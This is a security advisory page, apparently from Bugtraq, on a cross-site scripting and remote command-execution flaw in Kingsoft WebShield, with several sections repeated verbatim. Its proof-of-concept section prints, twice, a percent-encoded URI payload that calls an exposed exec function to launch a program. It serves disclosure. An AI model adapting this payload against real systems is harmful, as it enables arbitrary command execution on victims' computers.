Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
BID:35038
Info
Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
| Bugtraq ID: | 35038 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 20 2009 12:00AM |
| Updated: | May 21 2009 04:10PM |
| Credit: | inking |
| Vulnerable: |
Beijing Kingsoft Co.,Ltd WebShield 1.1.0.62 |
| Not Vulnerable: | |
Discussion
Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
The Webshield feature of Kingsoft Internet Security 9 is prone to a remote cross-site scripting and command-execution vulnerability.
Remote attackers may exploit this vulnerability to compromise an affected computer.
This issue affects WebShield 1.1.0.62 and prior versions.
The Webshield feature of Kingsoft Internet Security 9 is prone to a remote cross-site scripting and command-execution vulnerability.
Remote attackers may exploit this vulnerability to compromise an affected computer.
This issue affects WebShield 1.1.0.62 and prior versions.
Exploit / POC
Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
The following example URI is available:
http://www.example.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e
The following example URI is available:
http://www.example.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e
Solution / Fix
Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Kingsoft Webshield Cross Site scripting and Remote Command Execution Vulnerability
References:
References:
- Vendor Homepage (Beijing Kingsoft Corporation)